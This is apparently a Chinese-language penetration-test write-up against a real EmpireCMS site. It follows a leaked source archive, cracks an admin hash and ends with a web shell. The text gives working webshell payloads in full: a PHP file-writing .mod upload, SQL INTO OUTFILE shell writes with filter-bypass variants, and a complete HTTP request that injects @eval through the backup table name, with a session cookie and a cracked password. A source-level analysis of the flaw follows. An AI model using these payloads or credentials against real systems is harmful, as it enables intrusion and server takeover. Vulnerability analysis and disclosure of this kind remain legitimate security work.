滲透測試 | 源碼泄露到getshell
前言
文章所述漏洞已經提交至漏洞平臺,且所有惡意操作均已復原
源碼泄露
http://www.xxx.com.cn/www.zip
老規矩拿到源碼先通關關鍵詞找敏感信息
key pwd passwd password
找到了半天居然找不到一個有效的密碼
最后在robots.txt中看到CMS的信息-EmpireCMS

查詢知道是開源cms后,直接百度查詢數據表結構

知道了管理員記錄表為phome_enewsuser,在源碼里全局搜索
敏感信息泄露

點擊進去得到管理員用戶名,密碼hash和鹽值

直接解md5得到口令

Kite/kite
得到口令后就是找到后臺地址,由于是開源的百度一下就有了
看一眼目錄并沒有修改后臺地址,所以直接訪問
http://www.xxx.com.cn/e/admin/

得到具體的版本號為6.6
歷史漏洞
登錄到后臺后,因為是開源CMS,歷史漏洞才是滲透的關鍵
直接搜索empireCMS漏洞,開始復現歷史漏洞
1.后臺-模版-公共模版-js調用登陸模版getshell
還沒有開始就已經結束

Table 'hdm1010482_db.phome_enewstempgroup' doesn't exist
好家伙,這是把表都刪了嗎
2.后臺數據表與系統模型-導入數據庫模型getshell
EmpireCMS 7.5以及之前版本中的e/class/moddofun.php文件的LoadInMod函數存在安全漏洞。攻擊者可利用該漏洞上傳任意文件。

在本地先新建一個test.php.mod文件,內容為
php file_put_contents("lyy.php","php @eval(\$_POST['lyy']); ?>");?>
填入任意表名然后選擇馬上導入

又是一個表不存在,GG

3.后臺備份與恢復數據-執行sql語句getshell
EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代碼注入漏洞。
也就是后臺提供了一個sql語句執行

只要服務器mysql配置secure_file_priv 不當,就可以向服務器寫入文件
Payload
select '' into outfile '絕對路徑/e/admin/lyy.php'
因為要向站點寫入文件,所以必須知道絕對路徑才行。
因為是無回顯執行,也不能通過show mysql變量獲取部分路徑,所以也pass了
show variables like '%datadir%';
4.后臺備份與恢復數據-備份數據getshell
empirecms 7.5版本及之前版本在后臺備份數據庫時,未對數據庫表名做驗證,通過修改數據庫表名可以實現任意代碼執行。

選擇任意一個表,開始備份抓包

將tablename字段改為payload
@eval($_POST[123])
請求包
POST /e/admin/ebak/phome.php HTTP/1.1 Host: www.xxx.com.cn Content-Length: 285 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://www.xxx.com.cn Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://www.xxx.com.cn/e/admin/ebak/ChangeTable.php?mydbname=hdm1010482_db Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: bxubwecmsdodbdata=empirecms; bxubwloginuserid=1; bxubwloginusername=Kite; bxubwloginlevel=1; bxubweloginlic=empirecmslic; bxubwloginadminstyleid=1; bxubwloginrnd=F3JiUXpyeXm6mWPTsdUG; bxubwloginecmsckpass=e816ccfcb01f4ed8ee0ad531de6fa67c; bxubwtruelogintime=1640762619; bxubwlogintime=1640762630 Connection: close phome=DoEbak&mydbname=hdm1010482_db&baktype=phpinfo()&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=hdm1010482_db_20211229152350&insertf=replace&waitbaktime=0&readme=&autofield=&tablename%5B%5D=@eval($_POST[123])&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD
回顯得到備份文件夾名

hdm1010482_db_20211229152350
webshell連接備份文件夾下的config.php
http://www.xxx.cn/e/admin/ebak/bdata/hdm1010482_db_20211229152350/config.php
成功getshell

原理分析
因為手里有源碼,就跟了一下這個漏洞
首先定位
直接全局搜索config.php就找到了

在e/admin/ebak/class/functions.php文件中Ebak_DoEbak存在文件寫入操作

$string=" \$b_table=\"".$b_table."\"; ".$d_table." \$b_baktype=".$add['baktype']."; \$b_filesize=".$add['filesize']."; \$b_bakline=".$add['bakline']."; \$b_autoauf=".$add['autoauf']."; \$b_dbname=\"".$dbname."\"; \$b_stru=".$bakstru."; \$b_strufour=".$bakstrufour."; \$b_dbchar=\"".addslashes($add['dbchar'])."\"; \$b_beover=".$beover."; \$b_insertf=\"".addslashes($insertf)."\"; \$b_autofield=\",".addslashes($add['autofield']).",\"; \$b_bakdatatype=".$bakdatatype."; ?>"; $cfile=$bakpath."/".$add['mypath']."/config.php"; WriteFiletext_n($cfile,$string);
可以看到直接對$d_table變量進行拼接
再看看寫函數WriteFiletext_n

也沒有對寫入內容進行過濾,那么只需要知道如何控制$d_table變量值即可
crtl+左鍵跟到上面

而$count是$tablename的數量,$tablename是$add中tablename的鍵值

找到調用Ebak_DoEbak函數的位置,知道$add就是$_POST

那就很清楚了,他對POST傳參的tablename進行了處理產生兩個變量
$b_table和$d_table,其中$b_table是被雙引號包裹無法利用的
但是$d_table沒有雙引號被包裹,且沒有任意過濾直接寫入.php文件,導致命令執行
為什么不是其他參數?
其他參數大部分是被雙引號包裹的
沒有被雙引號包裹的參數都被強轉int,如果傳str會返回0 所以pass



3的后續
在通過漏洞4獲得站點真實路徑后我又構造sql語句,嘗試向站點直接webshell
select '' into outfile '/data/home/hmu072095/htdocs/e/admin/lyy.php'
雖然爆了一個數據庫連接錯誤,但是語句被成功執行,只是被寫入的內容被替換成了空

可以成功訪問但沒有內容

可以寫入正常字符
select 'test' into outfile '/data/home/hmu072095/htdocs/e/admin/1.txt'

初步判斷是對php標簽做了過濾,嘗試其他寫法進行繞過
1.select ' phpinfo(); ?>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php' 2.select '<script language="php"> phpinfo(); script>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php' 3.select ' @eval($_POST[1])?>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'
只有最后的asp風格成功寫入

嘗試訪問無法執行 查了一下linux上默認不開PHP短標簽配置項,溜了溜了
后記
還是以備份文件泄露為入口,最后成功getshell。因為是開源的CMS,主要進行測試歷史漏洞,由于二開的魔改,一次的滲透流程相當于把EmpireCMS的能getshell的歷史漏洞基本復現了一遍,還是有一點收獲的。